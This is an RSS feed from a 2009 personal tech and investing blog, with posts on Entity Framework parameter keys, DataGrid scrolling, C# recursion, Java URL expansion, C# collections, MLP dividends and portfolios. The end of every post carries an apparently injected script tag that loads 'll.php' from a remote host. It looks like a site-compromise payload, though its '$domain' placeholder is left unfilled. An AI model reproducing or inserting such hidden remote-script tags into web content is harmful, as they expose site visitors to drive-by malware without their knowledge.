<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Smartxel Media</title>
	<atom:link href="http://blogs.smartxel.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://blogs.smartxel.com</link>
	<description>Your window to current affairs</description>
	<pubDate>Fri, 04 Sep 2009 13:19:47 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6</generator>
	<language>en</language>
			<item>
		<title>Using ObjectParameter on an Entity SQL query against the Entity Framework</title>
		<link>http://blogs.smartxel.com/2009/09/04/using-objectparameter-on-an-entity-sql-query-against-the-entity-framework/</link>
		<comments>http://blogs.smartxel.com/2009/09/04/using-objectparameter-on-an-entity-sql-query-against-the-entity-framework/#comments</comments>
		<pubDate>Fri, 04 Sep 2009 13:19:47 +0000</pubDate>
		<dc:creator>Amit</dc:creator>
		
		<category><![CDATA[Technology]]></category>

		<category><![CDATA[Entity Framework]]></category>

		<category><![CDATA[Entity SQL]]></category>

		<category><![CDATA[ESQL]]></category>

		<category><![CDATA[ObjectParameter]]></category>

		<guid isPermaLink="false">http://blogs.smartxel.com/?p=302</guid>
		<description><![CDATA[I am writing this module to dynamically create Entity SQL query which go against the Entity Framework.
To prevent SQL injection, instead of directly concatenating the string I am passing the values for the where clause using the array of ObjectParameter[].
Since I am dynamically creating the Parameter array in order to create a unique parameter key [...]]]></description>
			<content:encoded><![CDATA[<p>I am writing this module to dynamically create Entity SQL query which go against the Entity Framework.<br />
To prevent SQL injection, instead of directly concatenating the string I am passing the values for the where clause using the array of ObjectParameter[].</p>
<p>Since I am dynamically creating the Parameter array in order to create a unique parameter key for every value I used the logic to concatenate the field names and add an integer to it.</p>
<p>So if the field was City, the parameter key would be &#8220;City1&#8243;<br />
If the field was Address.Phone.HomePhoneNumber, the parameter key would be &#8220;AddressPhoneHomePhoneNumber1&#8243;. The key doesn&#8217;t allow dpts &#8220;.&#8221;, so have to remove them too.</p>
<p>On one such query I found out that I kept getting an error every time I executed it. The error was the generic ListDictionary error:<br />
&#8220;System.ArgumentException : An item with the same key has already been added&#8221;</p>
<p>I confirmed and re-confirmed that the parameters I was adding had unique keys and they were all new parameters (sometimes these objects just clone instead ofcreating new). I confirmed that the resulting DbDataRecord had unique rows. After 4 hours of debug and deliberation I finally found out what the problem was.</p>
<p>The ObjectParameter key (name property) allows only 30 characters !!</p>
<p>There is no error if you add a key which is greater than 30 characters in length, it just cuts the key and adds the first 30 characters. So when the keys I was creating got to a length greater than 30 the keys were just getting cut to 30 and were getting added as duplicates !</p>
<p>So if any of you getting the same error while using ObjectParameters bear in mind, keys(name) length = 30 !<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blogs.smartxel.com/2009/09/04/using-objectparameter-on-an-entity-sql-query-against-the-entity-framework/feed/</wfw:commentRss>
		</item>
		<item>
		<title>AutoScroll in a DataGrid</title>
		<link>http://blogs.smartxel.com/2009/06/08/autoscroll-in-a-datagrid/</link>
		<comments>http://blogs.smartxel.com/2009/06/08/autoscroll-in-a-datagrid/#comments</comments>
		<pubDate>Mon, 08 Jun 2009 21:43:29 +0000</pubDate>
		<dc:creator>Amit</dc:creator>
		
		<category><![CDATA[Technology]]></category>

		<category><![CDATA[AutoScroll]]></category>

		<category><![CDATA[DataGrid AutoScroll]]></category>

		<guid isPermaLink="false">http://blogs.smartxel.com/?p=299</guid>
		<description><![CDATA[This post will address how to AutoScroll to a specific object (row) in the DataGrid and select it.
gridContactsList is of type Microsoft.Windows.Controls.DataGrid
This is a great way of automatically selecting the newest inserted row in the Grid.
Once you know the index of the newly created object and you have added it to the Grid, use the [...]]]></description>
			<content:encoded><![CDATA[<p>This post will address how to <strong>AutoScroll</strong> to a specific object (row) in the DataGrid and select it.<br />
gridContactsList is of type Microsoft.Windows.Controls.DataGrid</p>
<p>This is a great way of automatically selecting the newest inserted row in the Grid.</p>
<p>Once you know the index of the newly created object and you have added it to the Grid, use the following two lines to AutoScroll and select the row:</p>
<p>gridContactsList.UpdateLayout();<br />
gridContactsList.ScrollIntoView(gridContactsList.Items[index1]);</p>
<p>The method gridContactsList.ScrollIntoView(&#8230;) accepts the object that needs to be selected.<br />
This method also has an oeverload that takes the object to be selected and the column.</p>
<p>The most important thing to notice about the AutoScroll and selection is that <strong>You have to call the gridContactsList.UpdateLayout(); method before using the ScrollIntoView method</strong>. Not doing so will throw a null reference even if the object reference is valid.<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blogs.smartxel.com/2009/06/08/autoscroll-in-a-datagrid/feed/</wfw:commentRss>
		</item>
		<item>
		<title>High yield dividend investments - MLPs</title>
		<link>http://blogs.smartxel.com/2009/05/26/high-yield-dividend-investments-mlps/</link>
		<comments>http://blogs.smartxel.com/2009/05/26/high-yield-dividend-investments-mlps/#comments</comments>
		<pubDate>Wed, 27 May 2009 01:11:46 +0000</pubDate>
		<dc:creator>Amit</dc:creator>
		
		<category><![CDATA[The Market Blog]]></category>

		<category><![CDATA[dividend]]></category>

		<category><![CDATA[high dividend yield]]></category>

		<category><![CDATA[high yield]]></category>

		<category><![CDATA[MLP]]></category>

		<category><![CDATA[MLPs]]></category>

		<guid isPermaLink="false">http://blogs.smartxel.com/?p=295</guid>
		<description><![CDATA[I have been looking for solid dividend investments for some time and stumbled upon what&#8217;s known as MLPs (Master Limited Partnerships) about a month ago. I started looking into these and some of these have been on my track list since.
Most of these MLPS have bounced back after dropping to all time lows some months ago [...]]]></description>
			<content:encoded><![CDATA[<p><span id="more-295"></span>I have been looking for solid dividend investments for some time and stumbled upon what&#8217;s known as MLPs (Master Limited Partnerships) about a month ago. I started looking into these and some of these have been on my track list since.</p>
<p>Most of these MLPS have bounced back after dropping to all time lows some months ago and I am keeping on the sidelines right now looking for an entry point. In the meantime, here&#8217;s a little info for your perusal.</p>
<p>MLPs don&#8217;t pay income taxes and they trade their &#8220;investment units&#8221; on stock exchanges just like common stocks. According to the <a href="http://www.investopedia.com/terms/t/taxreformact1986.asp">Tax Reform Act of 1986</a> and the Revenue Act of 1987 to qualify for the tax benefit, 90% of the income should come through income through activities relating to natural resources, commodities or real estate. Instead of paying the corporate income tax, the tax liability is passed on to the &#8220;unitholders&#8221; of the corporation and the income is taxed at the individual&#8217;s rate by filing a K-1.</p>
<p>The MLPs give out cash &#8221;distributions&#8221; to the investors which from an investors point of view, can be looked into as dividends. Although these are distributions, the taxation governing these distributions is different from how your dividends would be taxed. For more information on taxation you can visit <a href="http://www.naptp.org">National Association of Publicly Traded Partnerships</a> or <a href="http://www.investopedia.com/articles/basics/07/ml_partnerships.asp">Investopedia Article on Discover MLPs</a>.</p>
<p>Most of the MLPs, that I have looked into have a dividend yield of anywhere from 8% to 11% and are Crude or Natural gas pipelne Operators, propane retailers and/or engage in the business of exploration and production of crude oil or natural gas etc.</p>
<p><span style="text-decoration: underline;">Some of the MLPs with a high yield for further investigation are</span>:</p>
<p>EEP : Enbridge Energy Partners LP : Latest Dividend Yield : 10.38%</p>
<p>KMP : Kinder Morgan Energy Partners L.P. :  Latest Dividend Yield : 8.83%</p>
<p>ETP : Energy Transfer Partners LP : Latest Dividend Yield : 8.98%</p>
<p>ETE : Energy Transfer Equity LP : Latest Dividend Yield : 8.14%</p>
<p>EPD : Enterprise Products Partners LP : Latest Dividend Yield : 8.55%<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blogs.smartxel.com/2009/05/26/high-yield-dividend-investments-mlps/feed/</wfw:commentRss>
		</item>
		<item>
		<title>C# Partial in-code implementation of the Start With, Connect By clause</title>
		<link>http://blogs.smartxel.com/2009/05/20/c-sharppartial-in-code-implementation-of-the-start-by-connect-with-clause/</link>
		<comments>http://blogs.smartxel.com/2009/05/20/c-sharppartial-in-code-implementation-of-the-start-by-connect-with-clause/#comments</comments>
		<pubDate>Wed, 20 May 2009 17:28:13 +0000</pubDate>
		<dc:creator>Amit</dc:creator>
		
		<category><![CDATA[Technology]]></category>

		<category><![CDATA[C#]]></category>

		<category><![CDATA[connect with]]></category>

		<category><![CDATA[heirarchy]]></category>

		<category><![CDATA[parent child]]></category>

		<category><![CDATA[recursion]]></category>

		<guid isPermaLink="false">http://blogs.smartxel.com/?p=283</guid>
		<description><![CDATA[I am working on this project where I had a list of parent - child elements and I had to extract a particular chain of parent - child elements, given the starting child. I am sure lot of developers have written this code. As a natural instinct I started googling for an in-code implementation of [...]]]></description>
			<content:encoded><![CDATA[<p>I am working on this project where I had a list of parent - child elements and I had to extract a particular chain of parent - child elements, given the starting child. I am sure lot of developers have written this code. As a natural instinct I started googling for an in-code implementation of Oracle&#8217;s START WITH, CONNECT BY clause.</p>
<p>After spending some time searching this, I got nothing. So I implemented this code and thought I will share this out for anyone who is looking for it. This code doesn&#8217;t do well with duplicate relationships, so if that is something you want, you are on your own.</p>
<p>initialLink is the initial List.</p>
<p>startingChild is the starting child that you want to start traversing the parent - child link.</p>
<p>extractedLink is the resulting link.</p>
<div><span style="font-size: small; color: #0000ff;"><span style="font-size: small; color: #0000ff;"> </span></span></p>
<div><span style="font-size: small; color: #0000ff;"><span style="font-size: small; color: #0000ff;">void</span></span><span style="font-size: small;"> ExtractParentChild( </span><span style="font-size: small; color: #2b91af;"><span style="font-size: small; color: #2b91af;">Dictionary</span></span><span style="font-size: small;">&lt;</span><span style="font-size: small; color: #0000ff;"><span style="font-size: small; color: #0000ff;">string</span></span><span style="font-size: small;">, </span><span style="font-size: small; color: #0000ff;"><span style="font-size: small; color: #0000ff;">string</span></span><span style="font-size: small;">&gt; initialLink, </span><span style="font-size: small; color: #0000ff;"><span style="font-size: small; color: #0000ff;">string </span></span><span style="font-size: small;">startingChild, </span></strong></div>
<div><strong><span style="font-size: small; color: #2b91af;"><span style="font-size: small; color: #2b91af;">Dictionary</span></span><span style="font-size: small;">&lt;</span><span style="font-size: small; color: #0000ff;"><span style="font-size: small; color: #0000ff;">string</span></span><span style="font-size: small;">, </span><span style="font-size: small; color: #0000ff;"><span style="font-size: small; color: #0000ff;">string</span></span><span style="font-size: small;">&gt; extractedLink </span><span style="font-size: small;">)</span></div>
<div><span style="font-size: small;"><span style="font-size: small;">{</span></span></div>
<div><span style="font-size: small; color: #008000;"><span style="font-size: small; color: #008000;">// Traverse the Dictionary to build the parent-child dictionary </span></span></div>
<div><span style="font-size: small; color: #0000ff;"><span style="font-size: small; color: #0000ff;">foreach</span></span><span style="font-size: small;"> (</span><span style="font-size: small; color: #0000ff;"><span style="font-size: small; color: #0000ff;">var</span></span><span style="font-size: small;"> v </span><span style="font-size: small; color: #0000ff;"><span style="font-size: small; color: #0000ff;">in </span></span><span style="font-size: small;">initialLink) </span></div>
<div><span style="font-size: small;"><span style="font-size: small;">{</strong></span><strong> </span></p>
<div>
<div><span style="font-size: small; color: #0000ff;"><span style="font-size: small; color: #0000ff;">     if </span></span><span style="font-size: small;">(v.Key.Equals(startingChild))  </span></div>
<div><span style="font-size: small;">     {</span></div>
<div><span style="font-size: small;">          extractedLink.Add(v.Key, v.Value)</span></div>
<div><span style="font-size: small;">          ExtractParentChild(initialLink, v.Value, extractedLink);</span></div>
<div><span style="font-size: small;"><span style="font-size: small;">     }</span></span><span style="font-size: small; color: #008000;"><span style="font-size: small; color: #008000;">// if</span></span></div>
<div><span style="font-size: small;"><span style="font-size: small;">} </span></span><span style="font-size: small; color: #008000;"><span style="font-size: small; color: #008000;">// foreach</span></span></div>
<div><span style="font-size: small;">} </span></div>
<p>If you need to stop somewhere before the end of the link is reached you can add the condition around the for loop and return in the if, when the condition is reached.
 </p></div>
</div></div>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blogs.smartxel.com/2009/05/20/c-sharppartial-in-code-implementation-of-the-start-by-connect-with-clause/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Expanding short url to original url using Java</title>
		<link>http://blogs.smartxel.com/2009/05/10/expanding-short-url-to-original-url-using-java/</link>
		<comments>http://blogs.smartxel.com/2009/05/10/expanding-short-url-to-original-url-using-java/#comments</comments>
		<pubDate>Mon, 11 May 2009 00:58:35 +0000</pubDate>
		<dc:creator>Jagdish</dc:creator>
		
		<category><![CDATA[Technology]]></category>

		<category><![CDATA[Java]]></category>

		<category><![CDATA[Java Coding Tips]]></category>

		<category><![CDATA[Twitter]]></category>

		<guid isPermaLink="false">http://blogs.smartxel.com/?p=279</guid>
		<description><![CDATA[There are plenty of URL shortening services designed for Twitter. Recently, Twitter picked bit.ly as their official URL shortening service. Here is quick Java code to expand short URL to original URL- 
 
 
                System.out.println(&#8221;Short URL: &#8220;+ shortURL);
                urlConn =  connectURL(shortURL);
                urlConn.getHeaderFields();
                System.out.println(&#8221;Original URL: &#8220;+ urlConn.getURL()); 
// connectURL - This function will take a valid url [...]]]></description>
			<content:encoded><![CDATA[<p><span style="font-size: 7.5pt; color: #000000; font-family: Verdana;">There are plenty of URL shortening services designed for Twitter. Recently, Twitter picked bit.ly as their official URL shortening service. Here is quick Java code to expand short URL to original URL- </span></p>
<p> </p>
<p> </p>
<p><span style="font-size: 7.5pt; color: #000000; font-family: Verdana;">                System.out.println(&#8221;Short URL: &#8220;+ shortURL);<br />
                urlConn =  connectURL(shortURL);<br />
                urlConn.getHeaderFields();<br />
                System.out.println(&#8221;Original URL: &#8220;+ urlConn.getURL()); </span></p>
<p><span style="font-size: 7.5pt; color: #000000; font-family: Verdana;">// connectURL - This function will take a valid url and return a URL object representing the url address.<br />
</span></p>
<p><span style="font-size: 7.5pt; color: #000000; font-family: Verdana;">URLConnection connectURL(String strURL) {<br />
        URLConnection conn =null;<br />
 try {<br />
     URL inputURL = new URL(strURL);<br />
     conn = inputURL.openConnection();<br />
            int test = 0;<br />
         <br />
 }catch(MalformedURLException e) {<br />
     System.out.println(&#8221;Please input a valid URL&#8221;);<br />
 }catch(IOException ioe) {<br />
     System.out.println(&#8221;Can not connect to the URL&#8221;);<br />
 }<br />
       return conn;</span></p>
<p><span style="font-size: 7.5pt; color: #000000; font-family: Verdana; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'; mso-ansi-language: EN-US; mso-fareast-language: EN-US; mso-bidi-language: AR-SA;">}</span><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blogs.smartxel.com/2009/05/10/expanding-short-url-to-original-url-using-java/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Cheat sheet for Collections in C#</title>
		<link>http://blogs.smartxel.com/2009/05/05/cheat-sheet-for-collections-in-c/</link>
		<comments>http://blogs.smartxel.com/2009/05/05/cheat-sheet-for-collections-in-c/#comments</comments>
		<pubDate>Tue, 05 May 2009 19:51:52 +0000</pubDate>
		<dc:creator>Amit</dc:creator>
		
		<category><![CDATA[Technology]]></category>

		<category><![CDATA[.NET]]></category>

		<category><![CDATA[C#]]></category>

		<category><![CDATA[Collections]]></category>

		<category><![CDATA[Dictionary]]></category>

		<category><![CDATA[sample code]]></category>

		<guid isPermaLink="false">http://blogs.smartxel.com/?p=260</guid>
		<description><![CDATA[Lot of times I see myself going back to the books to check which &#8216;collection&#8217; would be the best suited for a particular activity I am performing in my code. After doing this several times I thougt it would be great to create a cheat-sheet of all the collections and where they can be used efficiently. [...]]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;">Lot of times I see myself going back to the books to check which &#8216;collection&#8217; would be the best suited for a particular activity I am performing in my code. After doing this several times I thougt it would be great to create a cheat-sheet of all the collections and where they can be used efficiently. </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"> </p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;">Now that I have had it for several months, I thought I should share it on the world wide web ! So help yourself -</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;"><strong></strong></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;"><strong>ArrayList</strong>:</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;">Simple, resizeable, index-based collection of objects</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;"><strong>SortedList</strong>:</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;">Sorted collection of name/value pairs of objects</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;"><strong>Queue</strong>:</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;">First In First Out (FIFO) collection of objects</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;"><strong>Stack</strong>:</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;">Last In First Out (LIFO) collection of objects</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;"><strong>Hashtable</strong>:</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;">Collection of name/value pairs of objects that allow retrieval by name or index</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;"><strong>BitArray</strong>:</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;">Compact collection of boolean values</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;"><strong>StringCollection</strong>:</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;">Simple collection of resizeable collection of strings</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;"><strong>StringDictionary</strong>:</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;">Collection of name/value pairs of strings that allow retrieval by name or index</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;"><strong>ListDictionary</strong>:</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;">Efficient collection to store small lists of objects</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;"><strong>HybridDictionary</strong>:</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;">Collection that uses ListDictionary for storage when the number of items in the collection is small, and then migrates the items to a Hashtable for large collection</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;"><strong>NameValueCollection</strong>:</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;">Collection of name/value pairs of strings that allows retrieval by name or index</span></p>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blogs.smartxel.com/2009/05/05/cheat-sheet-for-collections-in-c/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Just freaking HONK your HORN !</title>
		<link>http://blogs.smartxel.com/2009/04/21/just-freaking-honk-your-horn/</link>
		<comments>http://blogs.smartxel.com/2009/04/21/just-freaking-honk-your-horn/#comments</comments>
		<pubDate>Tue, 21 Apr 2009 17:29:42 +0000</pubDate>
		<dc:creator>Amit</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<category><![CDATA[highway rage]]></category>

		<category><![CDATA[SMC]]></category>

		<guid isPermaLink="false">http://blogs.smartxel.com/?p=257</guid>
		<description><![CDATA[Yes, this is a vent. 
Goes to all those slow moving cows (SMCs) hogging the left lane on a two lane highway. I think these people, who just don&#8217;t budge no matter how long a tail they create behind them, are the most important reason why we have incidents of highway-rage. And the second reason: People [...]]]></description>
			<content:encoded><![CDATA[<p style="line-height: 12.9pt;"><span style="font-size: 9pt; color: #000000; font-family: &quot;Lucida Sans Unicode&quot;,&quot;sans-serif&quot;;">Yes, this is a vent.</span><span style="font-size: 9pt; color: #000000; font-family: &quot;Lucida Sans Unicode&quot;,&quot;sans-serif&quot;;"> </span></p>
<p style="line-height: 12.9pt;"><span style="font-size: 9pt; color: #000000; font-family: &quot;Lucida Sans Unicode&quot;,&quot;sans-serif&quot;;">Goes to all those slow moving cows (SMCs) hogging the left lane on a two lane highway. I think these people, who just don&#8217;t budge no matter how long a tail they create behind them, are the most important reason why we have incidents of highway-rage. And the second reason: People stuck behind these SMCs who don&#8217;t HONK their freaking horns!</span></p>
<p style="line-height: 12.9pt;"> </p>
<p style="line-height: 12.9pt;"><span style="font-size: 9pt; color: #000000; font-family: &quot;Lucida Sans Unicode&quot;,&quot;sans-serif&quot;;">I have observed (especially here in the mid-west) people think it is improper and impolite to honk their horns at other vehicles, no matter how the person infront of you is driving. So if a slow moving vehicle happens to get infront of you, instead of HONKing the horn and letting the person know about your dissatisfaction about them hogging the left (and hence the fast) lane, people keep their anger bottled within and when they blow their corks off, follow the person to his (or her) house and confront him (or her) or take their guns to the highway and shoot. </span></p>
<p style="line-height: 12.9pt;"><span style="font-size: 9pt; color: #000000; font-family: &quot;Lucida Sans Unicode&quot;,&quot;sans-serif&quot;;">So here’s a plea, next time you see yourself stuck behind a slow moving cow, save a life and just freaking HONK your HORN !</span></p>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blogs.smartxel.com/2009/04/21/just-freaking-honk-your-horn/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Microsoft Office Lab vision 2019</title>
		<link>http://blogs.smartxel.com/2009/03/01/microsoft-office-lab-vision-2019/</link>
		<comments>http://blogs.smartxel.com/2009/03/01/microsoft-office-lab-vision-2019/#comments</comments>
		<pubDate>Mon, 02 Mar 2009 00:59:09 +0000</pubDate>
		<dc:creator>Jagdish</dc:creator>
		
		<category><![CDATA[Technology]]></category>

		<category><![CDATA[Microsoft]]></category>

		<guid isPermaLink="false">http://blogs.smartxel.com/?p=255</guid>
		<description><![CDATA[
]]></description>
			<content:encoded><![CDATA[<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="432" height="364" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="id" value="0m4p2epd" /><param name="flashvars" value="c=v&amp;v=a517b260-bb6b-48b9-87ac-8e2743a28ec5&amp;ifs=true&amp;fr=shared&amp;mkt=en-GB" /><param name="src" value="http://images.video.msn.com/flash/soapbox1_1.swf" /><embed id="0m4p2epd" type="application/x-shockwave-flash" width="432" height="364" src="http://images.video.msn.com/flash/soapbox1_1.swf" flashvars="c=v&amp;v=a517b260-bb6b-48b9-87ac-8e2743a28ec5&amp;ifs=true&amp;fr=shared&amp;mkt=en-GB"></embed></object><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blogs.smartxel.com/2009/03/01/microsoft-office-lab-vision-2019/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Home Weatherization</title>
		<link>http://blogs.smartxel.com/2009/02/10/home-weatherization/</link>
		<comments>http://blogs.smartxel.com/2009/02/10/home-weatherization/#comments</comments>
		<pubDate>Tue, 10 Feb 2009 22:21:29 +0000</pubDate>
		<dc:creator>Amit</dc:creator>
		
		<category><![CDATA[The Market Blog]]></category>

		<category><![CDATA[home weatherization]]></category>

		<guid isPermaLink="false">http://blogs.smartxel.com/?p=253</guid>
		<description><![CDATA[January 27, 2009: &#8220;The federal stimulus plan now being debated in Washington, D.C., sets aside $6 billion to weatherize low-income homes.&#8221;
Start at home. The best way to cut your energy costs and become efficient is to cut your (energy) losses right where they are spent the most, at your own house.
Very straightforward practices like, Insulating [...]]]></description>
			<content:encoded><![CDATA[<p>January 27, 2009: &#8220;The federal stimulus plan now being debated in Washington, D.C., sets aside $6 billion to weatherize low-income homes.&#8221;</p>
<p>Start at home. The best way to cut your energy costs and become efficient is to cut your (energy) losses right where they are spent the most, at your own house.</p>
<p>Very straightforward practices like, Insulating your home, can cut more than 40% of your utility bill.<br />
Choosing ENERGY STAR appliances, have a professional seal air leaks, seal ducts to reduce leakage etc. all contribute to reducing the utility bills</p>
<p>With the new homes on a backlog and utility bills going through the roof, I believe home weatherization is the industry that will see two or three fold increase in the next coming years.</p>
<p>To do list : What public companies are in this business right now?<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blogs.smartxel.com/2009/02/10/home-weatherization/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Lazy Portfolios: Keep it simple</title>
		<link>http://blogs.smartxel.com/2008/12/30/lazy-portfolios-keep-it-simple/</link>
		<comments>http://blogs.smartxel.com/2008/12/30/lazy-portfolios-keep-it-simple/#comments</comments>
		<pubDate>Tue, 30 Dec 2008 22:07:47 +0000</pubDate>
		<dc:creator>Amit</dc:creator>
		
		<category><![CDATA[The Market Blog]]></category>

		<category><![CDATA[ETF]]></category>

		<category><![CDATA[Index portfolio]]></category>

		<category><![CDATA[Vanguard]]></category>

		<guid isPermaLink="false">http://blogs.smartxel.com/?p=250</guid>
		<description><![CDATA[Paul B. Farrell&#8217;s Lazy Portfolios
Full context of the post can be found at:  http://www.marketwatch.com/lazyportfolio
The gist of the matter is &#8220;keep it simple&#8221;.  No reason to watch the market every second of the day, simple buy and hold portfolios based on index funds that spend minimum amount of your invested money in expenses.
 
Personally, I like the [...]]]></description>
			<content:encoded><![CDATA[<p>Paul B. Farrell&#8217;s Lazy Portfolios</p>
<p>Full context of the post can be found at:  <a href="http://www.marketwatch.com/lazyportfolio">http://www.marketwatch.com/lazyportfolio</a></p>
<p>The gist of the matter is &#8220;keep it simple&#8221;.  No reason to watch the market every second of the day, simple buy and hold portfolios based on index funds that spend minimum amount of your invested money in expenses.</p>
<p> </p>
<p>Personally, I like the Vanguard index funds and go with a simple portfolio spread between:</p>
<p>1. US Based equity - 40%</p>
<p>2. International - 30%</p>
<p>3. Small Cap - 10%</p>
<p>4. Bonds and Cash - 20%</p>
<p> </p>
<p>Next food for thought: A Portfolio based on ETFs<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blogs.smartxel.com/2008/12/30/lazy-portfolios-keep-it-simple/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>

